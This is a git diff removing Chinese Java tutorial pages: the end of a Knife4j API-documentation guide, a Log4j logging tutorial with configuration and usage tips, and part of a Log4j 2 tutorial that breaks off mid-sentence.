更加小巧、轻量,并且功能更加强大。 - -springfox-swagger-ui 的界面长这个样子,说实话,确实略显丑陋。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-1.png) - -swagger-bootstrap-ui 增强后的样子长下面这样。单纯从直观体验上来看,确实增强了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-2.png) - -那改良后的 Knife4j 不仅在界面上更加优雅、炫酷,功能上也更加强大:后端 Java 代码和前端 UI 模块分离了出来,在微服务场景下更加灵活;还提供了专注于 Swagger 的增强解决方案。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-3.png) - -官方文档: - ->[https://doc.xiaominfo.com/knife4j/documentation/](https://doc.xiaominfo.com/knife4j/documentation/) - -码云地址: - ->[https://gitee.com/xiaoym/knife4j](https://gitee.com/xiaoym/knife4j) - -示例地址: - ->[https://gitee.com/xiaoym/swagger-bootstrap-ui-demo](https://gitee.com/xiaoym/swagger-bootstrap-ui-demo) - -## 整合 Knife4j - -Knife4j 完全遵循了 Swagger 的使用方式,所以可以无缝切换。 - -第一步,在 pom.xml 文件中添加 Knife4j 的依赖(**不需要再引入 springfox-boot-starter**了,因为 Knife4j 的 starter 里面已经加入过了)。 - -``` - - com.github.xiaoymin - knife4j-spring-boot-starter - - 3.0.2 - -``` - -第二步,配置类 SwaggerConfig 还是 Swagger 时期原来的配方。 - -```java -@Configuration -@EnableOpenApi -public class SwaggerConfig { - @Bean - public Docket docket() { - Docket docket = new Docket(DocumentationType.OAS_30) - .apiInfo(apiInfo()).enable(true) - .select() - //apis: 添加swagger接口提取范围 - .apis(RequestHandlerSelectors.basePackage("top.codingmore.controller")) - .paths(PathSelectors.any()) - .build(); - - return docket; - } - - private ApiInfo apiInfo() { - return new ApiInfoBuilder() - .title("编程猫实战项目笔记") - .description("编程喵是一个 Spring Boot+Vue 的前后端分离项目") - .contact(new Contact("沉默王二", "https://codingmore.top","www.qing_gee@163.com")) - .version("v1.0") - .build(); - } -} -``` - -第三步,新建测试控制器类 Knife4jController.java: - -```java -@Api(tags = "测试 Knife4j") -@RestController -@RequestMapping("/knife4j") -public class Knife4jController { - - @ApiOperation("测试") - @RequestMapping(value ="/test", method = RequestMethod.POST) - public String test() { - return "沉默王二又帅又丑"; - } -} -``` - -第四步,由于 springfox 3.0.x 版本 和 Spring Boot 2.6.x 版本有冲突,所以还需要先解决这个 bug,一共分两步(在[Swagger](https://javabetter.cn/springboot/swagger.html) 那篇已经解释过了,这里不再赘述,但防止有小伙伴在学习的时候再次跳坑,这里就重复一下步骤)。 - -先在 application.yml 文件中加入: - -``` -spring: - mvc: - path match: - matching-strategy: ANT_PATH_MATCHER -``` - -再在 SwaggerConfig.java 中添加: - -```java -@Bean -public static BeanPostProcessor springfoxHandlerProviderBeanPostProcessor() { - return new BeanPostProcessor() { - - @Override - public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException { - if (bean instanceof WebMvcRequestHandlerProvider || bean instanceof WebFluxRequestHandlerProvider) { - customizeSpringfoxHandlerMappings(getHandlerMappings(bean)); - } - return bean; - } - - private void customizeSpringfoxHandlerMappings(List mappings) { - List copy = mappings.stream() - .filter(mapping -> mapping.getPatternParser() == null) - .collect(Collectors.toList()); - mappings.clear(); - mappings.addAll(copy); - } - - @SuppressWarnings("unchecked") - private List getHandlerMappings(Object bean) { - try { - Field field = ReflectionUtils.findField(bean.getClass(), "handlerMappings"); - field.setAccessible(true); - return (List) field.get(bean); - } catch (IllegalArgumentException | IllegalAccessException e) { - throw new IllegalStateException(e); - } - } - }; -} -``` - -以上步骤均完成后,开始下一步,否则要么项目启动的时候报错,要么在文档中看不到测试的文档接口。 - -第五步,运行 Spring Boot 项目,浏览器地址栏输入以下地址访问 API 文档,查看效果。 - ->访问地址(和 Swagger 不同):[http://localhost:8080/doc.html](http://localhost:8080/doc.html) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-0a9eb2b1-bace-4f47-ace9-8a5f9f280279.png) - -是不是比 Swagger 简洁大方多了?如果想测试接口的话,可以直接点击接口,然后点击「测试」,点击发送就可以看到返回结果了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-16b1b553-1667-4222-9f29-2e5dfc8917a0.png) - -## Knife4j 的功能特点 - -编程喵🐱实战项目中已经整合好了 Knife4j,在本地跑起来后,就可以查看所有 API 接口了。编程喵中的管理端(codingmore-admin)端口为 9002,启动服务后,在浏览器中输入 [http://localhost:9002/doc.html](http://localhost:9002/doc.html) 就可以访问到了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-3cfbf598-b94a-4081-aab3-06af1eef612c.png) - -简单来介绍下 Knife4j 的 功能特点: - - -**1)支持登录认证** - -Knife4j 和 Swagger 一样,也是支持头部登录认证的,点击「authorize」菜单,添加登录后的信息即可保持登录认证的 token。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-6.png) - -如果某个 API 需要登录认证的话,就会把之前填写的信息带过来。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-7.png) - -**2)支持 JSON 折叠** - -Swagger 是不支持 JSON 折叠的,当返回的信息非常多的时候,界面就会显得非常的臃肿。Knife4j 则不同,可以对返回的 JSON 节点进行折叠。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-8.png) - -**3)离线文档** - -Knife4j 支持把 API 文档导出为离线文档(支持 markdown 格式、HTML 格式、Word 格式), - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-9.png) - -使用 Typora 打开后的样子如下,非常的大方美观。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-10.png) - -**4)全局参数** - -当某些请求需要全局参数时,这个功能就很实用了,Knife4j 支持 header 和 query 两种方式。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-11.png) - -之后进行请求的时候,就会把这个全局参数带过去。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-12.png) - -**5)搜索 API 接口** - -Swagger 是没有搜索功能的,当要测试的接口有很多的时候,当需要去找某一个 API 的时候就傻眼了,只能一个个去拖动滚动条去找。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-13.png) - -在文档的右上角,Knife4j 提供了文档搜索功能,输入要查询的关键字,就可以检索筛选了,是不是很方便? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-14.png) - -目前支持搜索接口的地址、名称和描述。 - -## 尾声 - -除了我上面提到的增强功能,Knife4j 还提供了很多实用的功能,大家可以通过官网的介绍一一尝试下,生产效率会提高不少。 - ->[https://doc.xiaominfo.com/knife4j/documentation/enhance.html](https://doc.xiaominfo.com/knife4j/documentation/enhance.html) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/knife4j-15.png) - ----- - -更多内容,只针对《二哥的Java进阶之路》星球用户开放,需要的小伙伴可以[戳链接🔗](https://javabetter.cn/zhishixingqiu/)加入我们的星球,一起学习,一起卷。。**编程喵**🐱是一个 Spring Boot+Vue 的前后端分离项目,融合了市面上绝大多数流行的技术要点。通过学习实战项目,你可以将所学的知识通过实践进行检验、你可以拓宽自己的技术边界,你可以掌握一个真正的实战项目是如何从 0 到 1 的。 - ----- - -## 源码路径 - -> - 编程喵:[https://github.com/itwanger/coding-more](https://github.com/itwanger/coding-more) -> - codingmore-knife4j:[https://github.com/itwanger/codingmore-learning](https://github.com/itwanger/codingmore-learning/tree/main/codingmore-knife4j) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/log4j.md b/docs/src/gongju/log4j.md deleted file mode 100644 index 308091e8b7..0000000000 --- a/docs/src/gongju/log4j.md +++ /dev/null @@ -1,359 +0,0 @@ ---- -title: Log4j:Java日志框架的鼻祖 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - - - -空了的时候,我都会在群里偷偷摸摸地潜水,对小伙伴们的一举一动、一言一行筛查诊断。一副班主任的即时感,让我感到非常的快乐,**略微夹带一丝丝的枯燥**。 - -这不,我在战国时代读者群里发现了这么一串聊天记录: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j-cacd9e88-4a4d-4127-a18b-f99b2e2296a3.png) - -竟然有小伙伴不知道“打日志”是什么意思,不知道该怎么学习,还有小伙伴回答说,只知道 Log4j! - -有那么一刻,我遭受到了一万点暴击,内心莫名的伤感,犹如一匹垂头丧气的狗。因为网络上总有一些不怀好意的人不停地攻击我,说我写的文章入门,毫无深度——他们就是我命中注定的黑子,不信你到脉脉上搜“沉默王二”,就能看到他们毫无新意的抨击。 - -我就想问一下,怎么了,入门的文章有入门的群体需要,而我恰好帮助了这么一大批初学者,我应该受到褒奖好不好? - -(说好的不在乎,怎么在乎起来了呢?手动狗头) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j-58282c4d-8178-45bd-8ba3-26740f6dd4a3.png) - - -管他呢,**我行我素**吧,保持初心不改就对了!这篇文章就来说说 Log4j,这个打印日志的鼻祖。Java 中的日志打印其实是个艺术活,我保证,这句话绝不是忽悠。 - -事实证明,打印日志绝逼会影响到程序的性能,这是不可否认的,毕竟多做了一项工作。尤其是在交易非常频繁的程序里,涌现大量的日志确实会比较低效。 - -基于性能上的考量,小伙伴们很有必要认认真真地学习一下如何优雅地打印 Java 日志。毕竟,[性能](https://mp.weixin.qq.com/s/vEt_ypvByKS-oCsuRmpgUw)是一个程序员优不优秀的重要考量。 - -### 01、为什么需要在 Java 中打印日志 - -`System.out.println()` 恐怕是我们在学习 Java 的时候,最常用的一种打印日志的方式了,几乎每个 Java 初学者都这样干过,甚至一些老鸟。 - -之所以这样打印日志,是因为很方便,上手难度很低,尤其是在 IDEA 的帮助下,只需在键盘上按下 `so` 两个字母就可以调出 `System.out.println()`。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j-64dbb12b-8f6b-4ee3-ab5a-60519dd9112f.png) - -在本地环境下,使用 `System.out.println()` 打印日志是没问题的,可以在控制台看到信息。但如果是在生产环境下的话,`System.out.println()` 就变得毫无用处了。 - -控制台打印出的信息并没有保存到日志文件中,只能即时查看,在一屏日志的情况下还可以接受。如果日志量非常大,控制台根本就装不下。所以就需要更高级的日志记录 API(比如 Log4j 和 java.util.logging)。 - -它们可以把大量的日志信息保存到文件中,并且控制每个文件的大小,如果满了,就存储到下一个,方便查找。 - -### 02、选择不同日志级别的重要性 - -使用 Java 日志的时候,一定要注意日志的级别,比如常见的 DEBUG、INFO、WARN 和 ERROR。 - -DEBUG 的级别最低,当需要打印调试信息的话,就用这个级别,不建议在生产环境下使用。 - -INFO 的级别高一些,当一些重要的信息需要打印的时候,就用这个。 - -WARN,用来记录一些警告类的信息,比如说客户端和服务端的连接断开了,数据库连接丢失了。 - -ERROR 比 WARN 的级别更高,用来记录错误或者异常的信息。 - -FATAL,当程序出现致命错误的时候使用,这意味着程序可能非正常中止了。 - -OFF,最高级别,意味着所有消息都不会输出了。 - -这个级别是基于 Log4j 的,和 java.util.logging 有所不同,后者提供了更多的日志级别,比如说 SEVERE、FINER、FINEST。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j-4919cd20-e524-43a2-8b41-9eab6ac0c1e4.png) - - -### 03、错误的日志记录方式是如何影响性能的 - -为什么说错误的日志记录方式会影响程序的性能呢?因为日志记录的次数越多,意味着执行文件 IO 操作的次数就越多,这也就意味着会影响到程序的性能,能 get 吧? - -虽然说普通硬盘升级到固态硬盘后,读写速度快了很多,但磁盘相对于内存和 CPU 来说,还是太慢了!就像马车和奔驰之间的速度差距。 - -这也就是为什么要选择日志级别的重要性。对于程序来说,记录日志是必选项,所以能控制的就是日志的级别,以及在这个级别上打印的日志。 - -对于 DEBUG 级别的日志来说,一定要使用下面的方式来记录: - -```java -if(logger.isDebugEnabled()){ - logger.debug("DEBUG 是开启的"); -} -``` - -当 DEBUG 级别是开启的时候再打印日志,这种方式在你看很多源码的时候就可以发现,很常见。 - -切记,在生产环境下,一定不要开启 DEBUG 级别的日志,否则程序在大量记录日志的时候会变很慢,还有可能在你不注意的情况下,悄悄地把磁盘空间撑爆。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j-fd2149c5-2d0c-4c15-897d-d5fa06cce71f.png) - - -### 04、为什么选择 Log4j 而不是 java.util.logging - -java.util.logging 属于原生的日志 API,Log4j 属于第三方类库,但我建议使用 Log4j,因为 Log4j 更好用。java.util.logging 的日志级别比 Log4j 更多,但用不着,就变成了多余。 - -Log4j 的另外一个好处就是,不需要重新启动 Java 程序就可以调整日志的记录级别,非常灵活。可以通过 log4j.properties 文件来配置 Log4j 的日志级别、输出环境、日志文件的记录方式。 - -Log4j 还是线程安全的,可以在多线程的环境下放心使用。 - -先来看一下 java.util.logging 的使用方式: - -```java -package com.itwanger; - -import java.io.IOException; -import java.util.logging.FileHandler; -import java.util.logging.Logger; -import java.util.logging.SimpleFormatter; - -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class JavaUtilLoggingDemo { - public static void main(String[] args) throws IOException { - Logger logger = Logger.getLogger("test"); - FileHandler fileHandler = new FileHandler("javautillog.txt"); - fileHandler.setFormatter(new SimpleFormatter()); - logger.addHandler(fileHandler); - logger.info("细小的信息"); - } -} -``` - -程序运行后会在 target 目录下生成一个名叫 javautillog.txt 的文件,内容如下所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j-222181d4-04ba-4487-8386-69b8737d2d5c.png) - -再来看一下 Log4j 的使用方式。 - -第一步,在 pom.xml 文件中引入 Log4j 包: - -```xml - - log4j - log4j - 1.2.17 - -``` - -第二步,在 resources 目录下创建 log4j.properties 文件,内容如下所示: - -``` -### 设置### -log4j.rootLogger = debug,stdout,D,E - -### 输出信息到控制台 ### -log4j.appender.stdout = org.apache.log4j.ConsoleAppender -log4j.appender.stdout.Target = System.out -log4j.appender.stdout.layout = org.apache.log4j.PatternLayout -log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n - -### 输出DEBUG 级别以上的日志到=debug.log ### -log4j.appender.D = org.apache.log4j.DailyRollingFileAppender -log4j.appender.D.File = debug.log -log4j.appender.D.Append = true -log4j.appender.D.Threshold = DEBUG -log4j.appender.D.layout = org.apache.log4j.PatternLayout -log4j.appender.D.layout.ConversionPattern = %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n - -### 输出ERROR 级别以上的日志到=error.log ### -log4j.appender.E = org.apache.log4j.DailyRollingFileAppender -log4j.appender.E.File =error.log -log4j.appender.E.Append = true -log4j.appender.E.Threshold = ERROR -log4j.appender.E.layout = org.apache.log4j.PatternLayout -log4j.appender.E.layout.ConversionPattern = %d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n -``` - -**1)配置根 Logger**,语法如下所示: - -``` -log4j.rootLogger = [ level ] , appenderName, appenderName, … -``` - -level 就是日志的优先级,从高到低依次是 ERROR、WARN、INFO、DEBUG。如果这里定义的是 INFO,那么低级别的 DEBUG 日志信息将不会打印出来。 - -appenderName 就是指把日志信息输出到什么地方,可以指定多个地方,当前的配置文件中有 3 个地方,分别是 stdout、D、E。 - -**2)配置日志输出的目的地**,语法如下所示: - -``` -log4j.appender.appenderName = fully.qualified.name.of.appender.class -log4j.appender.appenderName.option1 = value1 -… -log4j.appender.appenderName.option = valueN -``` - -Log4j 提供的目的地有下面 5 种: - -- org.apache.log4j.ConsoleAppender:控制台 -- org.apache.log4j.FileAppender:文件 -- org.apache.log4j.DailyRollingFileAppender:每天产生一个文件 -- org.apache.log4j.RollingFileAppender:文件大小超过阈值时产生一个新文件 -- org.apache.log4j.WriterAppender:将日志信息以流格式发送到任意指定的地方 - -**3)配置日志信息的格式**,语法如下所示: - -``` -log4j.appender.appenderName.layout = fully.qualified.name.of.layout.class -log4j.appender.appenderName.layout.option1 = value1 -… -log4j.appender.appenderName.layout.option = valueN -``` - -Log4j 提供的格式有下面 4 种: - -- org.apache.log4j.HTMLLayout:HTML 表格 -- org.apache.log4j.PatternLayout:自定义 -- org.apache.log4j.SimpleLayout:包含日志信息的级别和信息字符串 -- org.apache.log4j.TTCCLayout:包含日志产生的时间、线程、类别等等信息 - -自定义格式的参数如下所示: - -- %m:输出代码中指定的消息 -- %p:输出优先级 -- %r:输出应用启动到输出该日志信息时花费的毫秒数 -- %c:输出所在类的全名 -- %t:输出该日志所在的线程名 -- %n:输出一个回车换行符 -- %d:输出日志的时间点 -- %l:输出日志的发生位置,包括类名、线程名、方法名、代码行数,比如:`method:com.itwanger.Log4jDemo.main(Log4jDemo.java:14)` - - -第三步,写个使用 Demo: - -```java -package com.itwanger; - -import org.apache.log4j.LogManager; -import org.apache.log4j.Logger; - -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class Log4jDemo { - private static final Logger logger = LogManager.getLogger(Log4jDemo.class); - - public static void main(String[] args) { - // 记录debug级别的信息 - logger.debug("debug."); - - // 记录info级别的信息 - logger.info("info."); - - // 记录error级别的信息 - logger.error("error."); - } -} -``` - -**1)获取 Logger 对象** - -要使用 Log4j 的话,需要先获取到 Logger 对象,它用来负责日志信息的打印。通常的格式如下所示: - -```java -private static final Logger logger = LogManager.getLogger(Log4jDemo.class); -``` - -**2)打印日志** - -有了 Logger 对象后,就可以按照不同的优先级打印日志了。常见的有以下 4 种: - -```java -Logger.debug() ; -Logger.info() ; -Logger.warn() ; -Logger.error() ; -``` - -程序运行后会在 target 目录下生成两个文件,一个名叫 debug.log,内容如下所示: - -``` -2020-10-20 20:53:27 [ main:0 ] - [ DEBUG ] debug. -2020-10-20 20:53:27 [ main:3 ] - [ INFO ] info. -2020-10-20 20:53:27 [ main:3 ] - [ ERROR ] error. -``` - -另外一个名叫 error.log,内容如下所示: - -``` -2020-10-20 20:53:27 [ main:3 ] - [ ERROR ] error. -``` - -### 05、打印日志的 8 个小技巧 - -1)在打印 DEBUG 级别的日志时,切记要使用 `isDebugEnabled()`!那小伙伴们肯定非常好奇,为什么要这样做呢? - -先来看一下 `isDebugEnabled()` 方法的源码: - -```java - public - boolean isDebugEnabled() { - if(repository.isDisabled( Level.DEBUG_INT)) - return false; - return Level.DEBUG.isGreaterOrEqual(this.getEffectiveLevel()); - } -``` - -内部使用了 `isDisabled()` 方法进行了日志级别的判断,如果 DEBUG 是禁用的话,就 return false 了。 - -再来看一下 `debug()` 方法的源码: - -```java - public - void debug(Object message) { - if(repository.isDisabled(Level.DEBUG_INT)) - return; - if(Level.DEBUG.isGreaterOrEqual(this.getEffectiveLevel())) { - forcedLog(FQCN, Level.DEBUG, message, null); - } - } -``` - -咦,不是也用 `isDisabled()` 方法判断吗?难道使用 `isDebugEnabled()`不是画蛇添足吗?直接用 `logger.debug()` 不香吗?我来给小伙伴们解释下。 - -如果我们在打印日志信息的时候需要附带一个方法去获取参数值,就像下面这样: - -```java -logger.debug("用户名是:" + getName()); -``` - -假如 `getName()` 方法需要耗费的时间长达 6 秒,那完了!尽管配置文件里的日志级别定义的是 INFO,`getName()` 方法仍然会倔强地执行 6 秒,完事后再 `debug()`,这就很崩了! - -明明 INFO 的时候 `debug()` 是不执行的,意味着 `getName()` 也不需要执行的,偏偏就执行了 6 秒,是不是很傻? - -```java -if(logger.isDebugEnabled()) { - logger.debug("用户名是:" + getName()); -} -``` - -换成上面这种方式,那确定此时 `getName()` 是不执行的,对吧? - -为了程序性能上的考量,`isDebugEnabled()` 就变得很有必要了!假如说 `debug()` 的时候没有传参,确实是不需要判断 DEBUG 是否启用的。 - -2)慎重选择日志信息的打印级别,因为这太重要了!如果只能通过日志查看程序发生了什么问题,那必要的信息是必须要打印的,但打印得太多,又会影响到程序的性能。 - -所以,该 INFO 的 `info()`,该 DEBUG 的 `debug()`,不要随便用。 - -3)使用 Log4j 而不是 `System.out`、`System.err` 或者 `e.printStackTrace()` 来打印日志,原因之前讲过了,就不再赘述了。 - -4)使用 log4j.properties 文件来配置日志,尽管它不是必须项,使用该文件会让程序变得更灵活,有一种我的地盘我做主的味道。 - -5)不要忘记在打印日志的时候带上类的全名和线程名,在多线程环境下,这点尤为重要,否则定位问题的时候就太难了。 - -6)打印日志信息的时候尽量要完整,不要太过于缺省,尤其是在遇到异常或者错误的时候(信息要保留两类:案发现场信息和异常堆栈信息,如果不做处理,通过 throws 关键字往上抛),免得在找问题的时候都是一些无用的日志信息。 - -7)要对日志信息加以区分,把某一类的日志信息在输出的时候加上前缀,比如说所有数据库级别的日志里添加 `DB_LOG`,这样的日志非常大的时候可以通过 `grep` 这样的 Linux 命令快速定位。 - -8)不要在日志文件中打印密码、银行账号等敏感信息。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j-42d3a052-daeb-450a-a775-a32f983dd688.png) - - -### 06、 总结 - -打印日志真的是一种艺术活,搞不好会严重影响服务器的性能。最可怕的是,记录了日志,但最后发现屁用没有,那简直是苍了个天啊!尤其是在生产环境下,问题没有记录下来,但重现有一定的随机性,到那时候,真的是叫天天不应,叫地地不灵啊! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/log4j2.md b/docs/src/gongju/log4j2.md deleted file mode 100644 index b46aa04c3e..0000000000 --- a/docs/src/gongju/log4j2.md +++ /dev/null @@ -1,312 +0,0 @@ ---- -title: Log4j 2:Apache维护的一款高性能日志记录工具 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - -Log4j 2,顾名思义,它就是 Log4j 的升级版,就好像手机里面的 Pro 版。我作为一个写文章方面的工具人,或者叫打工人,怎么能不写完这最后一篇。 - -Log4j、SLF4J、Logback 是一个爹——Ceki Gulcu,但 Log4j 2 却是例外,它是 Apache 基金会的产品。 - -SLF4J 和 Logback 作为 Log4j 的替代品,在很多方面都做了必要的改进,那为什么还需要 Log4j 2 呢?我只能说 Apache 基金会的开发人员很闲,不,很拼,要不是他们这种精益求精的精神,这个编程的世界该有多枯燥,毕竟少了很多可以用“拿来就用”的轮子啊。 - -上一篇也说了,老板下死命令要我把日志系统切换到 Logback,我顺利交差了,老板很开心,夸我这个打工人很敬业。为了表达对老板的这份感谢,我决定偷偷摸摸地试水一下 Log4j 2,尽管它还不是个成品,可能会会项目带来一定的隐患。但谁让咱是一个敬岗爱业的打工人呢。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j2-a9461265-7652-4512-9219-6b3e82392415.png) - - -### 01、Log4j 2 强在哪 - -1)在多线程场景下,Log4j 2 的吞吐量比 Logback 高出了 10 倍,延迟降低了几个数量级。这话听起来像吹牛,反正是 Log4j 2 官方自己吹的。 - -Log4j 2 的异步 Logger 使用的是无锁数据结构,而 Logback 和 Log4j 的异步 Logger 使用的是 ArrayBlockingQueue。对于阻塞队列,多线程应用程序在尝试使日志事件入队时通常会遇到锁争用。 - -下图说明了多线程方案中无锁数据结构对吞吐量的影响。 Log4j 2 随着线程数量的扩展而更好地扩展:具有更多线程的应用程序可以记录更多的日志。其他日志记录库由于存在锁竞争的关系,在记录更多线程时,总吞吐量保持恒定或下降。这意味着使用其他日志记录库,每个单独的线程将能够减少日志记录。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j2-43f0b03d-5c4a-4af3-9e4c-177956246740.png) - -性能方面是 Log4j 2 的最大亮点,至于其他方面的一些优势,比如说下面这些,可以忽略不计,文字有多短就代表它有多不重要。 - -2)Log4j 2 可以减少垃圾收集器的压力。 - -3)支持 Lambda 表达式。 - -4)支持自动重载配置。 - -### 02、Log4j 2 使用示例 - -废话不多说,直接实操开干。理论知识有用,但不如上手实操一把,这也是我多年养成的一个“不那么良好”的编程习惯:在实操中发现问题,解决问题,寻找理论基础。 - -**第一步**,在 pom.xml 文件中添加 Log4j 2 的依赖: - -```xml - - org.apache.logging.log4j - log4j-api - 2.5 - - - org.apache.logging.log4j - log4j-core - 2.5 - -``` - -(这个 artifactId 还是 log4j,没有体现出来 2,而在 version 中体现,多少叫人误以为是 log4j) - -**第二步**,来个最简单的测试用例: - -```java -import org.apache.logging.log4j.LogManager; -import org.apache.logging.log4j.Logger; - -public class Demo { - private static final Logger logger = LogManager.getLogger(Demo.class); - public static void main(String[] args) { - logger.debug("log4j2"); - } -} -``` - -运行 Demo 类,可以在控制台看到以下信息: - -``` -ERROR StatusLogger No log4j2 configuration file found. Using default configuration: logging only errors to the console. -``` - -Log4j 2 竟然没有在控制台打印“ log4j2”,还抱怨我们没有为它指定配置文件。在这一点上,我就觉得它没有 Logback 好,毕竟人家会输出。 - -这对于新手来说,很不友好,因为新手在遇到这种情况的时候,往往不知所措。日志里面虽然体现了 ERROR,但代码并没有编译出错或者运行出错,凭什么你不输出? - -那作为编程老鸟来说,我得告诉你,这时候最好探究一下为什么。怎么做呢? - -我们可以复制一下日志信息中的关键字,比如说:“No log4j2 configuration file found”,然后在 Intellij IDEA 中搜一下,如果你下载了源码和文档的话,不除意外,你会在 ConfigurationFactory 类中搜到这段话。 - -可以在方法中打个断点,然后 debug 一下,你就会看到下图中的内容。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j2-4ba440d9-c0b6-4ad2-b538-9d303cc99d90.png) - -通过源码,你可以看得到,Log4j 2 会去寻找 4 种类型的配置文件,后缀分别是 properties、yaml、json 和 xml。前缀是 log4j2-test 或者 log4j2。 - -得到这个提示后,就可以进行第三步了。 - -**第三步,**在 resource 目录下增加 log4j2-test.xml 文件(方便和 Logback 做对比),内容如下所示: - -```xml - - - - - - - - - - - - - -``` - -Log4j 2 的配置文件格式和 Logback 有点相似,基本的结构为 `< Configuration>` 元素,包含 0 或多个 `< Appenders>` 元素,其后跟 0 或多个 `< Loggers>` 元素,里面再跟最多只能存在一个的 `< Root>` 元素。 - -**1)配置 appender**,也就是配置日志的输出目的地。 - -有 Console,典型的控制台配置信息上面你也看到了,我来简单解释一下里面 pattern 的格式: - -- `%d{HH:mm:ss.SSS}` 表示输出到毫秒的时间 - -- `%t` 输出当前线程名称 - -- `%-5level` 输出日志级别,-5 表示左对齐并且固定输出 5 个字符,如果不足在右边补空格 - -- `%logger` 输出 logger 名称,最多 36 个字符 - -- `%msg` 日志文本 - -- `%n` 换行 - -顺带补充一下其他常用的占位符: - -- `%F` 输出所在的类文件名,如 Demo.java - -- `%L` 输出行号 - -- `%M` 输出所在方法名 - -- `%l` 输出语句所在的行数, 包括类名、方法名、文件名、行数 - -- `%p` 输出日志级别 - -- `%c` 输出包名,如果后面跟有 `{length.}` 参数,比如说 `%c{1.}`,它将输出报名的第一个字符,如 `com.itwanger` 的实际报名将只输出 `c.i` - -再次运行 Demo 类,就可以在控制台看到打印的日志信息了: - -``` -10:14:04.657 [main] DEBUG com.itwanger.Demo - log4j2 -``` - -**2)配置 Loggers**,指定 Root 的日志级别,并且指定具体启用哪一个 Appenders。 - -**3)自动重载配置**。 - -Logback 支持自动重载配置,Log4j 2 也支持,那想要启用这个功能也非常简单,只需要在 Configuration 元素上添加 `monitorInterval` 属性即可。 - -``` - -... - -``` - -注意值要设置成非零,上例中的意思是至少 30 秒后检查配置文件中的更改。最小间隔为 5 秒。 - -### 03、Async 示例 - -除了 Console,还有 Async,可以配合文件的方式来异步写入,典型的配置信息如下所示: - -``` - - - - - %d %p %c [%t] %m%n - - - - - - - - - - - - -``` - -对比 Logback 的配置文件来看,Log4j 2 真的复杂了一些,不太好用,就这么直白地说吧!但自己约的,含着泪也得打完啊。把这个 Async 加入到 Appenders: - -``` - - - - - - - - %d %p %c [%t] %m%n - - - - - - - - - - - - - -``` - -再次运行 Demo 类,可以在项目根路径下看到一个 debug.log 文件,内容如下所示: - -``` -2020-10-30 09:35:49,705 DEBUG com.itwanger.Demo [main] log4j2 -``` - -### 04、RollingFile 示例 - -当然了,Log4j 和 Logback 我们都配置了 RollingFile,Log4j 2 也少不了。RollingFile 会根据 Triggering(触发)策略和 Rollover(过渡)策略来进行日志文件滚动。如果没有配置 Rollover,则使用 DefaultRolloverStrategy 来作为 RollingFile 的默认配置。 - -触发策略包含有,基于 cron 表达式(源于希腊语,时间的意思,用来配置定期执行任务的时间格式)的 CronTriggeringPolicy;基于文件大小的 SizeBasedTriggeringPolicy;基于时间的 TimeBasedTriggeringPolicy。 - -过渡策略包含有,默认的过渡策略 DefaultRolloverStrategy,直接写入的 DirectWriteRolloverStrategy。一般情况下,采用默认的过渡策略即可,它已经足够强大。 - -来看第一个基于 SizeBasedTriggeringPolicy 和 TimeBasedTriggeringPolicy 策略,以及缺省 DefaultRolloverStrategy 策略的配置示例: - -``` - - - - - %d %p %c{1.} [%t] %m%n - - - - - - - - - - - - -``` - -为了验证文件的滚动策略,我们调整一下 Demo 类,让它多打印点日志: - -``` -for (int i = 1;i < 20; i++) { - logger.debug("微信搜索「{}」,回复关键字「{}」,有惊喜哦","沉默王二", "java"); -} -``` - -再次运行 Demo 类,可以看到根目录下多了 3 个日志文件: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j2-07af98ca-cf94-427e-adb6-bd935e32a8d0.png) - - -结合日志文件名,再来看 RollingFile 的配置,就很容易理解了。 - -1)fileName 用来指定文件名。 - -2)filePattern 用来指定文件名的模式,它取决于过渡策略。 - -由于配置文件中没有显式指定过渡策略,因此 RollingFile 会启用默认的 DefaultRolloverStrategy。 - -先来看一下 DefaultRolloverStrategy 的属性: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/log4j2-32b853ce-8beb-496b-b66f-31b650c257ab.png) - -再来看 filePattern 的值 